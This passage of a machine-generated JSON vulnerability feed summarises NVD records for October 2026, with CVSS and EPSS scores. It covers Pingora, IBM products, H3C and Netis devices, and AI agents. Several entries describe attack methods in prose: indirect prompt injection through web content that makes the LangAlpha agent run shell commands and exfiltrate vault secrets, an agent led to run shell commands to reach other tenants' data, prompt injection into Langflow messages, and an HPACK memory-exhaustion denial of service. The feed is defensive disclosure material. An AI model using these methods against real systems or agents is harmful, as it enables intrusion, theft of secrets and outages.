select standard mode in the WebSocket chat.start extension, and have the agent invoke subprocess.run with shell=True on the host to access other tenants' data and server secrets.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T01:17:10.527Z","updatedAt":"2026-10-20T20:11:29.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":["AI coding agents"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109443","asOf":"2026-10-20T20:11:29.833Z"},"epss":{"probability":0.0086,"percentile":0.58252,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109443&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109443","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109443","type":"primary","publishedAt":"2026-10-20T01:17:10.527Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109443&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109443, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109440","cveId":"CVE-2026-109440","aliases":[],"kind":"vulnerability","title":"LangAlpha through 2026.09.07 contains an indirect prompt injection vulnerability that allows remote attackers to execute shell commands or Python by planting instructions in web...","summary":"LangAlpha through 2026.09.07 contains an indirect prompt injection vulnerability that allows remote attackers to execute shell commands or Python by planting instructions in web content retrieved by the agent. Because Bash and ExecuteCode lack an allow-list and human-in-the-loop approval, attackers can run code in the workspace sandbox and exfiltrate vault secrets from _internal/.vault_secrets.json.","detail":"LangAlpha through 2026.09.07 contains an indirect prompt injection vulnerability that allows remote attackers to execute shell commands or Python by planting instructions in web content retrieved by the agent. Because Bash and ExecuteCode lack an allow-list and human-in-the-loop approval, attackers can run code in the workspace sandbox and exfiltrate vault secrets from _internal/.vault_secrets.json.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T01:17:10.103Z","updatedAt":"2026-10-22T22:18:00.100Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109440","asOf":"2026-10-22T22:18:00.100Z"},"epss":{"probability":0.00601,"percentile":0.48443,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109440&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109440","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109440","type":"primary","publishedAt":"2026-10-20T01:17:10.103Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109440&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109440, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109395","cveId":"CVE-2026-109395","aliases":[],"kind":"vulnerability","title":"Ning compress-lzf before 1.2.0 contains an out-of-bounds memory access vulnerability in the sun.misc.Unsafe based UnsafeChunkDecoder that fails to validate back-references and...","summary":"Ning compress-lzf before 1.2.0 contains an out-of-bounds memory access vulnerability in the sun.misc.Unsafe based UnsafeChunkDecoder that fails to validate back-references and literal runs. Attackers can supply crafted LZF streams to applications using the default LZFDecoder to leak unrelated JVM heap memory into decompressed output or crash the JVM.","detail":"Ning compress-lzf before 1.2.0 contains an out-of-bounds memory access vulnerability in the sun.misc.Unsafe based UnsafeChunkDecoder that fails to validate back-references and literal runs. Attackers can supply crafted LZF streams to applications using the default LZFDecoder to leak unrelated JVM heap memory into decompressed output or crash the JVM.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T01:17:09.957Z","updatedAt":"2026-10-20T20:06:37.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109395","asOf":"2026-10-20T20:06:37.150Z"},"epss":{"probability":0.00524,"percentile":0.44131,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109395&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109395","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109395","type":"primary","publishedAt":"2026-10-20T01:17:09.957Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109395&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109395, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105297","cveId":"CVE-2026-105297","aliases":[],"kind":"vulnerability","title":"Summary\n\n\n\nBefore version 0.8.1, Pingora's HTTP/2 server used the h2 crate's default limits unless the application set its own 16 MiB decoded header-list size and no limit on...","summary":"Summary\n\n\n\nBefore version 0.8.1, Pingora's HTTP/2 server used the h2 crate's default limits unless the application set its own 16 MiB decoded header-list size and no limit on concurrent streams. A remote, unauthenticated client can send 1-byte HPACK references to a near-empty header, making the server allocate hundreds of thousands of header fields per stream across an unlimited number of streams on one connection, and use HTTP/2 flow control to keep those streams open. This can exhaust memory and degrade or terminate the Pingora process.\n\n\n\n\nImpact\n\n\n\nRemote, unauthenticated denial of service against any Pingora service that terminates HTTP/2 (h2 or h2c) without explicitly setting max_header_list_size and max_concurrent_streams. The reporter showed that a single connection could get a Pingora process with a 2 GiB memory limit OOM-killed.\n\n\n\n\nNote that Cloudflare CDN customers were unaffected, as internal Pingora services at Cloudflare do not have HTTP/2 clients.\n\n\n\nMitigation:\n\n  *  \n\nUpgrade to pingora 0.8.1 or later (fix:  https://github.com/cloudflare/pingora/commit/d193c8d49b8b7c1c1ede93183759caa4f6906bbd ). When no H2Options are supplied, Pingora now advertises and enforces a 64 KiB decoded header-list limit and at most 100 concurrent streams per connection.\n\n\n  *  \n\nApplications that supply their own H2Options are not covered by these defaults and must set max_header_list_size and max_concurrent_streams explicitly (this also works on versions before 0.8.1), or, on 0.8.1 and later, start from pingora_core::protocols::http::v2::server::default_h2_options(). H2Options::default() does not include these limits.","detail":"Summary\n\n\n\nBefore version 0.8.1, Pingora's HTTP/2 server used the h2 crate's default limits unless the application set its own 16 MiB decoded header-list size and no limit on concurrent streams. A remote, unauthenticated client can send 1-byte HPACK references to a near-empty header, making the server allocate hundreds of thousands of header fields per stream across an unlimited number of streams on one connection, and use HTTP/2 flow control to keep those streams open. This can exhaust memory and degrade or terminate the Pingora process.\n\n\n\n\nImpact\n\n\n\nRemote, unauthenticated denial of service against any Pingora service that terminates HTTP/2 (h2 or h2c) without explicitly setting max_header_list_size and max_concurrent_streams. The reporter showed that a single connection could get a Pingora process with a 2 GiB memory limit OOM-killed.\n\n\n\n\nNote that Cloudflare CDN customers were unaffected, as internal Pingora services at Cloudflare do not have HTTP/2 clients.\n\n\n\nMitigation:\n\n  *  \n\nUpgrade to pingora 0.8.1 or later (fix:  https://github.com/cloudflare/pingora/commit/d193c8d49b8b7c1c1ede93183759caa4f6906bbd ). When no H2Options are supplied, Pingora now advertises and enforces a 64 KiB decoded header-list limit and at most 100 concurrent streams per connection.\n\n\n  *  \n\nApplications that supply their own H2Options are not covered by these defaults and must set max_header_list_size and max_concurrent_streams explicitly (this also works on versions before 0.8.1), or, on 0.8.1 and later, start from pingora_core::protocols::http::v2::server::default_h2_options(). H2Options::default() does not include these limits.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T01:17:09.613Z","updatedAt":"2026-10-20T20:17:11.980Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105297","asOf":"2026-10-20T20:17:11.980Z"},"epss":{"probability":0.00429,"percentile":0.36914,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105297&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105297","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105297","type":"primary","publishedAt":"2026-10-20T01:17:09.613Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105297&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105297, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109126","cveId":"CVE-2026-109126","aliases":[],"kind":"vulnerability","title":"IBM Verify Identity Access 11.0.3.1 and IBM Security Verify Access 10.0.9.3 Appliance could allow a physically proximate attacker to gain elevated privileges due to the use of...","summary":"IBM Verify Identity Access 11.0.3.1 and IBM Security Verify Access 10.0.9.3 Appliance could allow a physically proximate attacker to gain elevated privileges due to the use of hard-coded credentials.","detail":"IBM Verify Identity Access 11.0.3.1 and IBM Security Verify Access 10.0.9.3 Appliance could allow a physically proximate attacker to gain elevated privileges due to the use of hard-coded credentials.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T00:17:30.370Z","updatedAt":"2026-10-20T15:17:10.310Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109126","asOf":"2026-10-20T15:17:10.310Z"},"epss":{"probability":0.00226,"percentile":0.13146,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109126&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109126","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109126","type":"primary","publishedAt":"2026-10-20T00:17:30.370Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109126&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109126, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107400","cveId":"CVE-2026-107400","aliases":[],"kind":"vulnerability","title":"IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to execute arbitrary code due to improper authentication.","summary":"IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to execute arbitrary code due to improper authentication.","detail":"IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to execute arbitrary code due to improper authentication.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T00:17:25.790Z","updatedAt":"2026-10-20T15:03:59.857Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107400","asOf":"2026-10-20T15:03:59.857Z"},"epss":{"probability":0.00551,"percentile":0.45783,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107400&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107400","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107400","type":"primary","publishedAt":"2026-10-20T00:17:25.790Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107400&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107400, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107366","cveId":"CVE-2026-107366","aliases":[],"kind":"vulnerability","title":"IBM Langflow OSS 1.0.0 through 1.12.4 contains three message endpoints that perform no ownership verification.","summary":"IBM Langflow OSS 1.0.0 through 1.12.4 contains three message endpoints that perform no ownership verification. Any authenticated user can bulk-delete another user's messages, overwrite message content to inject malicious prompts, or hijack an entire conversation session by reassigning its session ID.","detail":"IBM Langflow OSS 1.0.0 through 1.12.4 contains three message endpoints that perform no ownership verification. Any authenticated user can bulk-delete another user's messages, overwrite message content to inject malicious prompts, or hijack an entire conversation session by reassigning its session ID.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T00:17:25.640Z","updatedAt":"2026-10-21T04:17:09.563Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM","LangChain and Langflow"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107366","asOf":"2026-10-21T04:17:09.563Z"},"epss":{"probability":0.00302,"percentile":0.22703,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107366&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107366","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107366","type":"primary","publishedAt":"2026-10-20T00:17:25.640Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107366&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107366, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105453","cveId":"CVE-2026-105453","aliases":[],"kind":"vulnerability","title":"IBM Sterling Connect Direct for Unix 6.3.0.0 through 6.3.0.7 and 6.4.0.0 through 6.4.0.6 could allow a local attacker to gain elevated privileges due to improper privilege...","summary":"IBM Sterling Connect Direct for Unix 6.3.0.0 through 6.3.0.7 and 6.4.0.0 through 6.4.0.6 could allow a local attacker to gain elevated privileges due to improper privilege management.","detail":"IBM Sterling Connect Direct for Unix 6.3.0.0 through 6.3.0.7 and 6.4.0.0 through 6.4.0.6 could allow a local attacker to gain elevated privileges due to improper privilege management.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T00:17:23.400Z","updatedAt":"2026-10-21T04:17:06.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105453","asOf":"2026-10-21T04:17:06.490Z"},"epss":{"probability":0.00127,"percentile":0.02361,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105453&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105453","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105453","type":"primary","publishedAt":"2026-10-20T00:17:23.400Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105453&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105453, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112371","cveId":"CVE-2026-112371","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in H3C Magic NX15 NX15V100R017. Impacted is the function write of the file /api/esps of the component RPC Interface.","summary":"A vulnerability was determined in H3C Magic NX15 NX15V100R017. Impacted is the function write of the file /api/esps of the component RPC Interface. Executing a manipulation of the argument path can lead to code injection. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure.","detail":"A vulnerability was determined in H3C Magic NX15 NX15V100R017. Impacted is the function write of the file /api/esps of the component RPC Interface. Executing a manipulation of the argument path can lead to code injection. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T23:17:36.000Z","updatedAt":"2026-10-20T19:27:34.430Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112371","asOf":"2026-10-20T19:27:34.430Z"},"epss":{"probability":0.00546,"percentile":0.45504,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112371&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112371","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112371","type":"primary","publishedAt":"2026-10-19T23:17:36.000Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112371&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112371, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112370","cveId":"CVE-2026-112370","aliases":[],"kind":"vulnerability","title":"A vulnerability was found in H3C Magic NX15 100R017. This issue affects the function sub_416874 of the file /usr/bin/usrlist.","summary":"A vulnerability was found in H3C Magic NX15 100R017. This issue affects the function sub_416874 of the file /usr/bin/usrlist. Performing a manipulation results in os command injection. Remote exploitation of the attack is possible. The exploit has been made public and could be used. The vendor was contacted early about this disclosure.","detail":"A vulnerability was found in H3C Magic NX15 100R017. This issue affects the function sub_416874 of the file /usr/bin/usrlist. Performing a manipulation results in os command injection. Remote exploitation of the attack is possible. The exploit has been made public and could be used. The vendor was contacted early about this disclosure.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T23:17:35.817Z","updatedAt":"2026-10-22T22:18:01.537Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112370","asOf":"2026-10-22T22:18:01.537Z"},"epss":{"probability":0.02034,"percentile":0.80941,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112370&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112370","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112370","type":"primary","publishedAt":"2026-10-19T23:17:35.817Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112370&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112370, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112360","cveId":"CVE-2026-112360","aliases":[],"kind":"vulnerability","title":"A security vulnerability has been detected in Netis EAP930 1.250905.115454. This issue affects the function return200 of the file /cgi-bin/debug of the component CGI Endpoint.","summary":"A security vulnerability has been detected in Netis EAP930 1.250905.115454. This issue affects the function return200 of the file /cgi-bin/debug of the component CGI Endpoint. The manipulation of the argument SIGNATURE leads to backdoor. The attack may be initiated remotely. A high degree of complexity is needed for the attack. The exploitability is assessed as difficult. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A security vulnerability has been detected in Netis EAP930 1.250905.115454. This issue affects the function return200 of the file /cgi-bin/debug of the component CGI Endpoint. The manipulation of the argument SIGNATURE leads to backdoor. The attack may be initiated remotely. A high degree of complexity is needed for the attack. The exploitability is assessed as difficult. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check 